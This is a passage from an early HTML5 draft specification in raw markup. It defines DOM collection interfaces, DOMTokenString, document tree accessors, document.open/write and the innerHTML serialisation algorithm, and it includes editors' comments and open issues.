title=dom-HTMLCollection-namedItem><a    href="#nameditem">namedItem()</a></code>.)  </ul>  <p>If no such elements are found, then the method must return null.  <p>In the ECMAScript DOM binding, objects implementing the <code><a   href="#htmlcollection0">HTMLCollection</a></code> interface must support   being dereferenced using the square bracket notation, such that   dereferencing with an integer index is equivalent to invoking the <code   title=dom-HTMLCollection-item><a href="#itemindex">item()</a></code>   method with that index, and such that dereferencing with a string index is   equivalent to invoking the <code title=dom-HTMLCollection-namedItem><a   href="#nameditem">namedItem()</a></code> method with that index.  <h5 id=htmlformcontrolscollection><span class=secno>2.3.1.2.   </span>HTMLFormControlsCollection</h5>  <p>The <code><a   href="#htmlformcontrolscollection0">HTMLFormControlsCollection</a></code>   interface represents a <span>collection</span> of form controls.  <pre   class=idl>interface <dfn id=htmlformcontrolscollection0>HTMLFormControlsCollection</dfn> {  readonly attribute unsigned long <a href="#length0" title=dom-HTMLFormControlsCollection-length>length</a>;  <a href="#htmlelement">HTMLElement</a> <a href="#itemindex0" title=dom-HTMLFormControlsCollection-item>item</a>(in unsigned long index);  Object <a href="#nameditem0" title=dom-HTMLFormControlsCollection-namedItem>namedItem</a>(in DOMString name);};</pre>  <p>The <dfn id=length0   title=dom-HTMLFormControlsCollection-length><code>length</code></dfn>   attribute must return the number of nodes <span>represented by the   collection</span>.  <p>The <dfn id=itemindex0   title=dom-HTMLFormControlsCollection-item><code>item(<var   title="">index</var>)</code></dfn> method must return the <var   title="">index</var>th node in the collection. If there is no <var   title="">index</var>th node in the collection, then the method must return   null.  <p>The <dfn id=nameditem0   title=dom-HTMLFormControlsCollection-namedItem><code>namedItem(<var   title="">key</var>)</code></dfn> method must act according to the   following algorithm:  <ol>   <li>If, at the time the method is called, there is exactly one node in the    collection that has either an <code title=attr-id><a    href="#id0">id</a></code> attribute or a <code    title=attr-name>name</code> attribute equal to <var title="">key</var>,    then return that node and stop the algorithm.   <li>Otherwise, if there are no nodes in the collection that have either an    <code title=attr-id><a href="#id0">id</a></code> attribute or a <code    title=attr-name>name</code> attribute equal to <var title="">key</var>,    then return null and stop the algorithm.   <li>Otherwise, create a <code>NodeList</code> object representing a live    view of the <code><a    href="#htmlformcontrolscollection0">HTMLFormControlsCollection</a></code>    object, further filtered so that the only nodes in the    <code>NodeList</code> object are those that have either an <code    title=attr-id><a href="#id0">id</a></code> attribute or a <code    title=attr-name>name</code> attribute equal to <var title="">key</var>.    The nodes in the <code>NodeList</code> object must be sorted in <a    href="#tree-order">tree order</a>.   <li>Return that <code>NodeList</code> object.  </ol>  <p>In the ECMAScript DOM binding, objects implementing the <code><a   href="#htmlformcontrolscollection0">HTMLFormControlsCollection</a></code>   interface must support being dereferenced using the square bracket   notation, such that dereferencing with an integer index is equivalent to   invoking the <code title=dom-HTMLFormControlsCollection-item><a   href="#itemindex0">item()</a></code> method with that index, and such that   dereferencing with a string index is equivalent to invoking the <code   title=dom-HTMLFormControlsCollection-namedItem><a   href="#nameditem0">namedItem()</a></code> method with that index.</p>  <!--http://software.hixie.ch/utilities/js/live-dom-viewer/?%3C%21DOCTYPE%20html%3E...%0A%3Cform%20name%3D%22a%22%3E%3Cinput%20id%3D%22x%22%20name%3D%22y%22%3E%3Cinput%20name%3D%22x%22%20id%3D%22y%22%3E%3C/form%3E%0A%3Cscript%3E%0A%20%20var%20x%3B%0A%20%20w%28x%20%3D%20document.forms%5B%27a%27%5D%5B%27x%27%5D%29%3B%0A%20%20w%28x.length%29%3B%0A%20%20x%5B0%5D.parentNode.removeChild%28x%5B0%5D%29%3B%0A%20%20w%28x.length%29%3B%0A%20%20w%28x%20%3D%3D%20document.forms%5B%27a%27%5D%5B%27x%27%5D%29%3B%0A%3C/script%3E%0A-->  <h5 id=htmloptionscollection><span class=secno>2.3.1.3.   </span>HTMLOptionsCollection</h5>  <p>The <code><a   href="#htmloptionscollection0">HTMLOptionsCollection</a></code> interface   represents a list of <code>option</code> elements.  <pre   class=idl>interface <dfn id=htmloptionscollection0>HTMLOptionsCollection</dfn> {           attribute unsigned long <a href="#length1" title=dom-HTMLOptionsCollection-length>length</a>;  HTMLOptionElement <a href="#itemindex1" title=dom-HTMLOptionsCollection-item>item</a>(in unsigned long index);  Object <a href="#nameditem1" title=dom-HTMLOptionsCollection-namedItem>namedItem</a>(in DOMString name);};</pre>  <p>On getting, the <dfn id=length1   title=dom-HTMLOptionsCollection-length><code>length</code></dfn> attribute   must return the number of nodes <span>represented by the   collection</span>.  <p>On setting, the behaviour depends on whether the new value is equal to,   greater than, or less than the number of nodes <span>represented by the   collection</span> at that time. If the number is the same, then setting   the attribute must do nothing. If the new value is greater, then <var   title="">n</var> new <code>option</code> elements with no attributes and   no child nodes must be appended to the <code>select</code> element on   which the <code><a   href="#htmloptionscollection0">HTMLOptionsCollection</a></code> is rooted,   where <var title="">n</var> is the difference between the two numbers (new   value minus old value). If the new value is lower, then the last <var   title="">n</var> nodes in the collection must be removed from their parent   nodes, where <var title="">n</var> is the difference between the two   numbers (old value minus new value).  <p class=note>Setting <code title=dom-HTMLOptionsCollection-length><a   href="#length1">length</a></code> never removes or adds any   <code>optgroup</code> elements, and never adds new children to existing   <code>optgroup</code> elements (though it can remove children from them).  <p>The <dfn id=itemindex1   title=dom-HTMLOptionsCollection-item><code>item(<var   title="">index</var>)</code></dfn> method must return the <var   title="">index</var>th node in the collection. If there is no <var   title="">index</var>th node in the collection, then the method must return   null.  <p>The <dfn id=nameditem1   title=dom-HTMLOptionsCollection-namedItem><code>namedItem(<var   title="">key</var>)</code></dfn> method must act according to the   following algorithm:  <ol>   <li>If, at the time the method is called, there is exactly one node in the    collection that has either an <code title=attr-id><a    href="#id0">id</a></code> attribute or a <code    title=attr-name>name</code> attribute equal to <var title="">key</var>,    then return that node and stop the algorithm.   <li>Otherwise, if there are no nodes in the collection that have either an    <code title=attr-id><a href="#id0">id</a></code> attribute or a <code    title=attr-name>name</code> attribute equal to <var title="">key</var>,    then return null and stop the algorithm.   <li>Otherwise, create a <code>NodeList</code> object representing a live    view of the <code><a    href="#htmloptionscollection0">HTMLOptionsCollection</a></code> object,    further filtered so that the only nodes in the <code>NodeList</code>    object are those that have either an <code title=attr-id><a    href="#id0">id</a></code> attribute or a <code    title=attr-option-name>name</code> attribute equal to <var    title="">key</var>. The nodes in the <code>NodeList</code> object must be    sorted in <a href="#tree-order">tree order</a>.   <li>Return that <code>NodeList</code> object.  </ol>  <p>In the ECMAScript DOM binding, objects implementing the <code><a   href="#htmloptionscollection0">HTMLOptionsCollection</a></code> interface   must support being dereferenced using the square bracket notation, such   that dereferencing with an integer index is equivalent to invoking the   <code title=dom-HTMLOptionsCollection-item><a   href="#itemindex1">item()</a></code> method with that index, and such that   dereferencing with a string index is equivalent to invoking the <code   title=dom-HTMLOptionsCollection-namedItem><a   href="#nameditem1">namedItem()</a></code> method with that index.</p>  <!-- see also http://ln.hixie.ch/?start=1161042744AMPERSANDcount=1 -->  <p class=big-issue>We may want to add <code>add()</code> and   <code>remove()</code> methods here too because IE implements   HTMLSelectElement and HTMLOptionsCollection on the same object, and so   people use them almost interchangeably in the wild.  <h4 id=domtokenstring><span class=secno>2.3.2. </span>DOMTokenString</h4>  <p>The <code><a href="#domtokenstring0">DOMTokenString</a></code> interface   represents a string that consists of an <a href="#unordered">unordered set   of space-separated tokens</a>.  <pre   class=idl>interface <dfn id=domtokenstring0>DOMTokenString</dfn> : DOMString {  boolean <a href="#hastoken" title=dom-tokenstring-has>has</a>(in DOMString token);  void <a href="#remove" title=dom-tokenstring-add>add</a>(in DOMString token);  void <span title=dom-tokenstring-remove>remove</span>(in DOMString token);};</pre>  <p>The <dfn id=hastoken title=dom-tokenstring-has><code>has(<var   title="">token</var>)</code></dfn> method must run the following   algorithm:  <ol>   <li>If the <var title="">token</var> argument contains any    spaces<!-- XXX elaborate -->, then raise an    <code>INVALID_CHARACTER_ERR</code> exception and stop the algorithm.   <li>Otherwise, <a href="#split" title="split a string on spaces">split the    underlying string on spaces</a> to get the list of tokens in the object's    underlying string.   <li>If the token indicated by <var title="">token</var> is one of the    tokens in the object's underlying string then return true and stop this    algorithm.   <li>Otherwise, return false.  </ol>  <p>The <dfn id=addtoken title=dom-tokenstring-add><code>add(<var   title="">token</var>)</code></dfn> method must run the following   algorithm:  <ol>   <li>If the <var title="">token</var> argument contains any    spaces<!-- XXX elaborate -->, then raise an    <code>INVALID_CHARACTER_ERR</code> exception and stop the algorithm.   <li>Otherwise, <a href="#split" title="split a string on spaces">split the    underlying string on spaces</a> to get the list of tokens in the object's    underlying string.   <li>If the given <var title="">token</var> is already one of the tokens in    the <code><a href="#domtokenstring0">DOMTokenString</a></code> object's    underlying string then stop the algorithm.   <li>Otherwise, if the last character of the <code><a    href="#domtokenstring0">DOMTokenString</a></code> object's underlying    string is not a <a href="#space">space character</a>, then append a    U+0020 SPACE character to the end of that string.   <li>Append the value of <var title="">token</var> to the end of the    <code><a href="#domtokenstring0">DOMTokenString</a></code> object's    underlying string.  </ol>  <p>The <dfn id=remove title=dom-tokenstring-add><code>remove(<var   title="">token</var>)</code></dfn> method must run the following   algorithm:  <ol>   <li>If the <var title="">token</var> argument contains any <a    href="#space" title="space character">spaces</a>, then raise an    <code>INVALID_CHARACTER_ERR</code> exception and stop the algorithm.   <li>Otherwise, <a href="#remove0" title="remove a token from a    string">remove the given <var title="">token</var> from the underlying    string</a>.  </ol>  <p>In the ECMAScript DOM binding, objects implementing the <code><a   href="#domtokenstring0">DOMTokenString</a></code> interface must stringify   to the object's underlying string representation.  <p><code><a href="#domtokenstring0">DOMTokenString</a></code> inherits from   <code>DOMString</code>, so in bindings where strings have attributes or   methods, those attributes and methods will also operate on <code><a   href="#domtokenstring0">DOMTokenString</a></code> objects.  <h4 id=dom-feature><span class=secno>2.3.3. </span>DOM feature strings</h4>  <p>DOM3 Core defines mechanisms for checking for interface support, and for   obtaining implementations of interfaces, using <a   href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#DOMFeatures">feature   strings</a>. <a href="#refsDOM3CORE">[DOM3CORE]</a>  <p>A DOM application can use the <dfn id=hasfeature   title=hasFeature><code>hasFeature(<var title="">feature</var>, <var   title="">version</var>)</code></dfn> method of the   <code>DOMImplementation</code> interface with parameter values "<code   title="">HTML</code>" and "<code>5.0</code>" (respectively) to determine   whether or not this module is supported by the implementation. In addition   to the feature string "<code title="">HTML</code>", the feature string   "<code title="">XHTML</code>" (with version string "<code>5.0</code>") can   be used to check if the implementation supports XHTML. User agents should   respond with a true value when the <code><a   href="#hasfeature">hasFeature</a></code> method is queried with these   values. Authors are cautioned, however, that UAs returning true might not   be perfectly compliant, and that UAs returning false might well have   support for features in this specification; in general, therefore, use of   this method is discouraged.  <p>The values "<code title="">HTML</code>" and "<code   title="">XHTML</code>" (both with version "<code>5.0</code>") should also   be supported in the context of the <code>getFeature()</code> and   <code>isSupported()</code> methods, as defined by DOM3 Core.  <p class=note>The interfaces defined in this specification are not always   supersets of the interfaces defined in DOM2 HTML; some features that were   formerly deprecated, poorly supported, rarely used or considered   unnecessary have been removed. Therefore it is not guarenteed that an   implementation that supports "<code title="">HTML</code>"   "<code>5.0</code>" also supports "<code title="">HTML</code>"   "<code>2.0</code>".  <h3 id=dom-tree><span class=secno>2.4. </span><dfn id=dom-tree1>DOM tree   accessors</dfn></h3>  <p><dfn id=the-html0>The <code>html</code> element</dfn> of a document is   the document's root element, if there is one and it's an <code><a   href="#html0">html</a></code> element, or null otherwise.  <p><dfn id=the-head0>The <code>head</code> element</dfn> of a document is   the first <code><a href="#head0">head</a></code> element that is a child   of <a href="#the-html0">the <code>html</code> element</a>, if there is   one, or null otherwise.  <p><dfn id=the-title1>The <code>title</code> element</dfn> of a document is   the first <code><a href="#title3">title</a></code> element that is a child   of <a href="#the-head0">the <code>head</code> element</a>, if there is   one, or null otherwise.  <p>The <dfn id=document.title   title=dom-document-title><code>title</code></dfn> attribute must, on   getting, return a concatenation of the data of all the child <a   href="#text-node" title="text node">text nodes</a> of <a   href="#the-title1">the <code>title</code> element</a>, in tree order, or   the empty string if <a href="#the-title1">the <code>title</code>   element</a> is null.  <p>On setting, the following algorithm must be run:  <ol>   <li>If <a href="#the-head0">the <code>head</code> element</a> is null,    then the attribute must do nothing. Stop the algorithm here.   <li>If <a href="#the-title1">the <code>title</code> element</a> is null,    then a new <code><a href="#title3">title</a></code> element must be    created and appended to <a href="#the-head0">the <code>head</code>    element</a>.   <li>The children of <a href="#the-title1">the <code>title</code>    element</a> (if any) must all be removed.   <li>A single <code>Text</code> node whose data is the new value being    assigned must be appended to <a href="#the-title1">the <code>title</code>    element</a>.  </ol>  <p><dfn id=the-body0>The body element</dfn> of a document is the first   child of <a href="#the-html0">the <code>html</code> element</a> that is   either a <code><a href="#body1">body</a></code> element or a   <code>frameset</code> element. If there is no such element, it is null. If   the body element is null, then when the specification requires that events   be fired at "the body element", they must instead be fired at the   <code>Document</code> object.  <p>The <dfn id=body0 title=dom-document-body><code>body</code></dfn>   attribute, on getting, must return <a href="#the-body0">the body   element</a> of the document (either a <code><a   href="#body1">body</a></code> element, a <code>frameset</code> element, or   null). On setting, the following algorithm must be followed:  <ol>   <li>If the new value is not a <code><a href="#body1">body</a></code> or    <code>frameset</code> element, then raise a    <code>HIERARCHY_REQUEST_ERR</code> exception and abort these steps.   <li>Otherwise, if the new value is the same as <a href="#the-body0">the    body element</a>, do nothing. Abort these steps.   <li>Otherwise, if <a href="#the-body0">the body element</a> is not null,    then replace that element with the new value in the DOM, as if the root    element's <code title="">replaceChild()</code> method had been called    with the new value and <a href="#the-body0" title="the body element">the    incumbent body element</a> as its two arguments respectively, then abort    these steps.   <li>Otherwise, the <a href="#the-body0">the body element</a> is null.    Append the new value to the root element.  </ol>  <!--XXX    http://lxr.mozilla.org/seamonkey/source/content/html/document/src/nsHTMLDocument.cpp    search for ::GetBody ::SetBody    http://trac.webkit.org/projects/webkit/browser/trunk/WebCore/html/HTMLDocument.cpp    search for ::setBody    http://trac.webkit.org/projects/webkit/browser/trunk/WebCore/dom/Document.cpp    search for ::body  -->  <p>The <dfn id=images0 title=dom-document-images><code>images</code></dfn>   attribute must return an <code><a   href="#htmlcollection0">HTMLCollection</a></code> rooted at the   <code>Document</code> node, whose filter matches only <code><a   href="#img0">img</a></code> elements.  <p>The <dfn id=links0 title=dom-document-links><code>links</code></dfn>   attribute must return an <code><a   href="#htmlcollection0">HTMLCollection</a></code> rooted at the   <code>Document</code> node, whose filter matches only <code><a   href="#a0">a</a></code> elements with <code title=attr-hyperlink-href><a   href="#href5">href</a></code> attributes and <code><a   href="#area0">area</a></code> elements with <code   title=attr-hyperlink-href><a href="#href5">href</a></code> attributes.  <p>The <dfn id=forms0 title=dom-document-forms><code>forms</code></dfn>   attribute must return an <code><a   href="#htmlcollection0">HTMLCollection</a></code> rooted at the   <code>Document</code> node, whose filter matches only <code>form</code>   elements.  <p>The <dfn id=anchors   title=dom-document-anchors><code>anchors</code></dfn> attribute must   return an <code><a href="#htmlcollection0">HTMLCollection</a></code>   rooted at the <code>Document</code> node, whose filter matches only   <code><a href="#a0">a</a></code> elements with <code   title=attr-a-name>name</code> attributes.</p>  <!-- XXX note that such elements are  non-conforming -->  <p>The <dfn id=getelementsbyname   title=dom-document-getElementsByName><code>getElementsByName(<var   title="">name</var>)</code></dfn> method a string <var   title="">name</var>, and must return a live <code>NodeList</code>   containing all the <code><a href="#a0">a</a></code>, <code>applet</code>,   <code>button</code>, <code>form</code>, <!-- frame? frameset?  XXX--><code><a   href="#iframe0">iframe</a></code>, <code><a href="#img0">img</a></code>,   <code>input</code>, <code><a href="#map0">map</a></code>, <code><a   href="#meta1">meta</a></code>, <code><a   href="#object0">object</a></code>,<!-- param?  XXX-->   <code>select</code>, and <code>textarea</code> elements in that document   that have a <code title="">name</code> attribute whose value is   equal<!-- XXX case sensitivity --> to the <var title="">name</var>   argument.</p>  <!-- XXX what about XHTML? -->  <p>The <dfn id=getelementsbyclassname   title=dom-document-getElementsByClassName><code>getElementsByClassName(<var   title="">classNames</var>)</code></dfn> method takes an array of strings   representing classes. When called, the method must return a live   <code>NodeList</code> object containing all the elements in the document   that have all the classes specified in that array. If the array is empty,   then the method must return an empty <code>NodeList</code>.  <p>HTML, XHTML, SVG and MathML elements define which classes they are in by   having an attribute in the per-element partition with the name <code   title="">class</code> containing a space-separated list of classes to   which the element belongs. Other specifications may also allow elements in   their namespaces to be labelled as being in specific classes. UAs must not   assume that all attributes of the name <code>class</code> for elements in   any namespace work in this way, however, and must not assume that such   attributes, when used as global attributes, label other elements as being   in specific classes.  <div class=example>   <p>Given the following XHTML fragment:</p>   <pre>AMPERSANDlt;div id="example"AMPERSANDgt; AMPERSANDlt;p id="p1" class="aaa bbb"/AMPERSANDgt; AMPERSANDlt;p id="p2" class="aaa ccc"/AMPERSANDgt; AMPERSANDlt;p id="p3" class="bbb ccc"/AMPERSANDgt;AMPERSANDlt;/divAMPERSANDgt;</pre>   <p>A call to    <code>document.getElementById('example').getElementsByClassName('aaa')</code>    would return a <code>NodeList</code> with the two paragraphs    <code>p1</code> and <code>p2</code> in it.</p>   <p>A call to <code>getElementsByClassName(['ccc', 'bbb'])</code> would    only return one node, however, namely <code>p3</code>. A call to    <code>document.getElementById('example').getElementsByClassName('ccc    bbb')</code> would return the same thing.</p>   <p>A call to <code>getElementsByClassName(['aaa bbb'])</code> would return    no nodes; none of the elements above are in the "aaa bbb" class.</p>   <p>A call to <code>getElementsByClassName([''])</code> would also return    no nodes, since none of the nodes are in the "" class (indeed, in HTML,    it is impossible to specify that an element is in the "" class).</p>  </div>  <p>The <dfn id=getelementsbyclassname0   title=dom-getElementsByClassName><code>getElementsByClassName()</code></dfn>   method on the <code><a href="#htmlelement">HTMLElement</a></code>   interface must return the nodes that the <code><a   href="#htmldocument">HTMLDocument</a></code> <code   title=dom-document-getElementsByClassName><a   href="#getelementsbyclassname">getElementsByClassName()</a></code> method   would return, excluding any elements that are not descendants of the   <code><a href="#htmlelement">HTMLElement</a></code> object on which the   method was invoked.</p>  <!-- XXX>         * xGetParentElementByClassName(rootElement, className, tagName) -> Navigates upwards until we hit a parent element with the given class name and> optional tag name.-->  <h3 id=dynamic><span class=secno>2.5. </span><dfn id=dynamic3>Dynamic   markup insertion</dfn></h3>  <p>The <code title=dom-document-write><a   href="#document.write">document.write()</a></code> family of methods and   the <code title=dom-innerHTML><a href="#innerhtml">innerHTML</a></code>   family of DOM attributes enable script authors to dynamically insert   markup into the document.  <p class=issue>bz argues that innerHTML should be called something else on   XML documents and XML elements. Is the sanity worth the migration pain?  <p>Because these APIs interact with the parser, their behaviour varies   depending on whether they are used with <a href="#html-">HTML   documents</a> (and the <a href="#html-0">HTML parser</a>) or XHTML in <a   href="#xml-documents">XML documents</a> (and the <span>XML parser</span>).   The following table cross-references the various versions of these APIs.  <table>   <thead>    <tr>     <td>     <th><dfn id=document.write      title=dom-document-write><code>document.write()</code></dfn>     <th><dfn id=innerhtml title=dom-innerHTML><code>innerHTML</code></dfn>   <tbody>    <tr>     <th>For documents that are <a href="#html-">HTML documents</a>     <td><a href="#document.write0"      title=dom-document-write-HTML><code>document.write()</code> in HTML</a>     <td><a href="#innerhtml0"      title=dom-innerHTML-HTML><code>innerHTML</code> in HTML</a>    <tr>     <th>For documents that are <a href="#xml-documents">XML documents</a>     <td><a href="#document.write1"      title=dom-document-write-XML><code>document.write()</code> in XML</a>     <td><a href="#innerhtml2" title=dom-innerHTML-XML><code>innerHTML</code>      in XML</a>  </table>  <p>Regardless of the parsing mode, the <dfn id=document.writeln   title=dom-document-writeln><code>document.writeln(<var   title="">s</var>)</code></dfn> method must call the <code   title=dom-document-write><a   href="#document.write">document.write()</a></code> method with the same   argument <var title="">s</var>, and then call the <code   title=dom-document-write><a   href="#document.write">document.write()</a></code> method with, as its   argument, a string consisting of a single newline character (U+000A).  <h4 id=controlling><span class=secno>2.5.1. </span>Controlling the input   stream</h4>  <p>The <dfn id=open title=dom-document-open><code>open()</code></dfn>   method comes in several variants with different numbers of arguments.  <p>When called with two or fewer arguments, the method must act as follows:  <ol>   <li>    <p>Let <var title="">type</var> be the value of the first argument, if     there is one, or "<code>text/html</code>" otherwise.   <li>    <p>Let <var title="">replace</var> be true if there is a second argument     and it has the value "replace"<!-- case-insensitive. XXX   -->, and     false otherwise.   <li>    <p>If the document has an <span>active parser</span><!-- XXX xref    -->     that isn't a <a href="#script-created">script-created parser</a>, and     the <a href="#insertion">insertion point</a> associated with that     parser's <a href="#input0">input stream</a> is not undefined (that is,     it <em>does</em> point to somewhere in the input stream), then the     method does nothing. Abort these steps.</p>    <p class=note>This basically causes <code title=dom-document-open><a     href="#open">document.open()</a></code> to be ignored when it's called     in an inline script found during the parsing of data sent over the     network, while still letting it have an effect when called     asynchronously or on a document that is itself being spoon-fed using     these APIs.</p>   <li>    <p>Otherwise, if the document has an <span>active     parser</span><!--XXX xref-->, then stop that parser, and throw away any     pending content in the input stream. <span class=big-issue>what about if     it doesn't, because it's either like a text/plain, or Atom, or PDF, or     XHTML, or image document, or something?</span>   </li>   <!-- XXX see also innerHTML in HTML -->   <li>    <p>Remove all child nodes of the document.   <li>    <p>Create a new <a href="#html-0">HTML parser</a> and associate it with     the document. This is a <dfn id=script-created>script-created     parser</dfn> (meaning that it can be closed by the <code     title=dom-document-open><a href="#open">document.open()</a></code> and     <code title=dom-document-close><a     href="#close">document.close()</a></code> methods, and that the     tokeniser will wait for an explicit call to <code     title=dom-document-close><a href="#close">document.close()</a></code>     before emitting an end-of-file token).   <li>Mark the document as being an <a href="#html-" title="HTML    documents">HTML document</a> (it might already be so-marked).</li>   <!-- text/plain handling -->   <li>    <p>If <var title="">type</var> does not have the value     "<code>text/html</code>"<!-- XXX matched how?   -->, then act as if the     tokeniser had emitted a <code><a href="#pre0">pre</a></code> element     start tag, then set the <a href="#html-0">HTML parser</a>'s <a     href="#tokenisation1">tokenisation</a> stage's <a     href="#content2">content model flag</a> to <em>PLAINTEXT</em>.   <li>    <p>If <var title="">replace</var> is false, then: remove all the entries     in the <a href="#browsing">browsing context</a>'s <a     href="#session0">session history</a> after the <a     href="#current">current entry</a> in its <code><a     href="#documentui">DocumentUI</a></code>'s <code><a     href="#history1">History</a></code> object, add a new entry whose     address is the same as the <a href="#current">current entry</a>'s at the     end of the list, and then advance to that page as if the <code     title=dom-history-forward><a     href="#forward">history.forward()</a></code> method had been invoked.   <li>    <p>Finally, set the <a href="#insertion">insertion point</a> to point at     just before the end of the <a href="#input0">input stream</a> (which at     this point will be empty).  </ol>  <p class=big-issue>We shouldn't hard-code <code>text/plain</code> there. We   should do it some other way, e.g. hand off to the section on   content-sniffing and handling of incoming data streams, the part that   defines how this all works when stuff comes over the network.</p>  <!-- XXX Should we support XML/XHTML as a type to that method? -->  <p>When called with three or more arguments, the <code   title=dom-document-open><a href="#open">open()</a></code> method on the   <code><a href="#htmldocument">HTMLDocument</a></code> object must call the   <code title=dom-open>open()</code> method on the <code><a   href="#windowhtml">WindowHTML</a></code> interface of the object returned   by the <code title=dom-document-defaultView>defaultView</code> attribute   of the <code>DocumentView</code> interface of the <code><a   href="#htmldocument">HTMLDocument</a></code> object, with the same   arguments as the original call to the <code title=dom-document-open><a   href="#open">open()</a></code> method. If the <code   title=dom-document-defaultView>defaultView</code> attribute of the   <code>DocumentView</code> interface of the <code><a   href="#htmldocument">HTMLDocument</a></code> object is null, then the   method must raise an <code>INVALID_ACCESS_ERR</code> exception.  <p>The <dfn id=close title=dom-document-close><code>close()</code></dfn>   method must do nothing if there is no <a   href="#script-created">script-created parser</a> associated with the   document. If there is such a parser, then, when the method is called, the   user agent must insert an <a href="#explicit">explicit "EOF" character</a>   at the <a href="#insertion">insertion point</a> of the parser's <a   href="#input0">input stream</a>.  <h4 id=dynamic0><span class=secno>2.5.2. </span>Dynamic markup insertion in   HTML</h4>  <p>In HTML, the <dfn id=document.write0   title=dom-document-write-HTML><code>document.write(<var   title="">s</var>)</code></dfn> method must act as follows:  <ol>   <li>    <p>If the <a href="#insertion">insertion point</a> is undefined, the     <code title=dom-document-open><a href="#open">open()</a></code> method     must be called (with no arguments) on the <code     title=Document>document</code> object. The <a     href="#insertion">insertion point</a> will point at just before the end     of the (empty) <a href="#input0">input stream</a>.</p>   <li>    <p>The string <var title="">s</var> must be inserted into the <a     href="#input0">input stream</a><!-- XXX xref --> just before the <a     href="#insertion">insertion point</a>.</p>   <li>    <p>If there is <a href="#the-script" title="the script that will execute     as soon as the parser resumes">a script that will execute as soon as the     parser resumes</a>, then the method must now return without further     processing of the <a href="#input0">input stream</a>.</p>   <li>    <p>Otherwise, the tokeniser must process the characters that were     inserted, one at a time, processing resulting tokens as they are     emitted, and stopping when the tokeniser reaches the insertion point or     when the processing of the tokeniser is aborted by the tree construction     stage (this can happen if a <code><a href="#script2">script</a></code>     start tag token is emitted by the tokeniser).    <p class=note>If the <code title=dom-document-write-HTML><a     href="#document.write0">document.write()</a></code> method was called     from script executing inline (i.e. executing because the parser parsed a     set of <code><a href="#script2">script</a></code> tags), then this is a     <a href="#nestedParsing">reentrant invocation of the parser</a>.</p>   <li>    <p>Finally, the method must return.</p>  </ol>  <p>In HTML, the <dfn id=innerhtml0   title=dom-innerHTML-HTML><code>innerHTML</code></dfn> DOM attribute of all   <code><a href="#htmlelement">HTMLElement</a></code> and <code><a   href="#htmldocument">HTMLDocument</a></code> nodes returns a serialisation   of the node's children using the <span>HTML syntax</span><!-- XXX xref  -->.   On setting, it replaces the node's children with new nodes that result   from parsing the given value. The formal definitions follow.  <p>On getting, the <code title=dom-innerHTML-HTML><a   href="#innerhtml0">innerHTML</a></code> DOM attribute must return the   result of running the following algorithm:  <ol>   <li>    <p>Let <var title="">s</var> be a string, and initialise it to the empty     string.   <li>    <p>For each child node <var title="">child</var>, in <a     href="#tree-order">tree order</a>, append the appropriate string from     the following list to <var title="">s</var>:</p>    <dl class=switch>     <dt>If the child node is an <code title="">Element</code>     <dd>      <p>Append a U+003C LESS-THAN SIGN (<code title="">AMPERSANDlt;</code>)       character, followed by the element's tag name (which is all       lowercase).</p>      <p>For each attribute that the element has, append a U+0020 SPACE       character, the attribute's name (which again will be all lowercase), a       U+003D EQUALS SIGN (<code title="">=</code>) character, a U+0022       QUOTATION MARK (<code title="">AMPERSANDquot;</code>) character, the       attribute's value, <a href="#escapingString" title="escaping a       string">escaped as described below</a>, and a second U+0022 QUOTATION       MARK (<code title="">AMPERSANDquot;</code>) character.</p>      <p>While the exact order of attributes is UA-defined, and may depend on       factors such as the order that the attributes were given in the       original markup, the sort order must be stable, such that consecutive       calls to <code title=dom-innerHTML-HTML><a       href="#innerhtml0">innerHTML</a></code> serialise an element's       attributes in the same order.</p>      <p>Append a U+003E GREATER-THAN SIGN (<code title="">AMPERSANDgt;</code>)       character.</p>      <p>If the child node is an <code title="">Element</code> with a tag       name that is one of <code><a href="#area0">area</a></code>, <code><a       href="#base0">base</a></code>, <code>basefont</code>,       <code>bgsound</code>, <code><a href="#br0">br</a></code>, <code><a       href="#col0">col</a></code>, <code><a href="#embed0">embed</a></code>,       <code>frame</code>, <code><a href="#hr0">hr</a></code>, <code><a       href="#img0">img</a></code>, <code>input</code>, <code><a       href="#link0">link</a></code>, <code><a href="#meta1">meta</a></code>,       <code><a href="#param0">param</a></code>, <code>spacer</code>, or       <code>wbr</code>, then continue on to the next child node at this       point.</p>      <!-- also, i guess:      image, isindex, and keygen, but we don't list those because we      don't consider those "elements", more "macros", and thus we      should never serialise them -->      <!-- XXX when we get around to      it, add event-source -->      <p>Otherwise, append the value of the <var title="">child</var>       element's <code title=dom-innerHTML-HTML><a       href="#innerhtml0">innerHTML</a></code> DOM attribute (thus recursing       into this algorithm for that element), followed by a U+003C LESS-THAN       SIGN (<code title="">AMPERSANDlt;</code>) character, a U+002F SOLIDUS (<code       title="">/</code>) character, the element's tag name again (which is       again all lowercase), and finally a U+003E GREATER-THAN SIGN (<code       title="">AMPERSANDgt;</code>) character.</p>     <dt>If the child node is a <code title="">Text</code> or <code      title="">CDATASection</code> node     <dd>      <p>If one of the ancestors of the child node is a <code><a       href="#style0">style</a></code>, <code><a       href="#script2">script</a></code>, <code>xmp</code>, <code><a       href="#iframe0">iframe</a></code>, <code>noembed</code>,       <code>noframes</code>, or <code><a       href="#noscript0">noscript</a></code> element, then append the value       of the <var title="">child</var> node's <code title="">data</code> DOM       attribute literally.</p>      <!-- note about noscript: because this is defining an API, it      can assume that scripting is enabled, and that thus the      <noscript> element in the DOM will have been parsed in the      scripting-enabled mode, and that thus the text node is raw      markup -->            <p>Otherwise, append the value of the <var title="">child</var> node's       <code title="">data</code> DOM attribute, <a href="#escapingString"       title="escaping a string">escaped as described below</a>.</p>     <dt>If the child node is a <code title="">Comment</code>     <dd>      <p>Append the literal string <code>AMPERSANDlt;!--</code> (U+003C LESS-THAN       SIGN, U+0021 EXCLAMATION MARK, U+002D HYPHEN-MINUS, U+002D       HYPHEN-MINUS), followed by the value of the <var title="">child</var>       node's <code title="">data</code> DOM attribute, followed by the       literal string <code>--AMPERSANDgt;</code> (U+002D HYPHEN-MINUS, U+002D       HYPHEN-MINUS, U+003E GREATER-THAN SIGN).</p>     <dt>If the child node is a <code title="">DocumentType</code>     <dd>      <p>Append the literal string <code>AMPERSANDlt;!DOCTYPE</code> (U+003C       LESS-THAN SIGN, U+0021 EXCLAMATION MARK, U+0044 LATIN CAPITAL LETTER       D, U+004F LATIN CAPITAL LETTER O, U+0043 LATIN CAPITAL LETTER C,       U+0054 LATIN CAPITAL LETTER T, U+0059 LATIN CAPITAL LETTER Y, U+0050       LATIN CAPITAL LETTER P, U+0045 LATIN CAPITAL LETTER E), followed 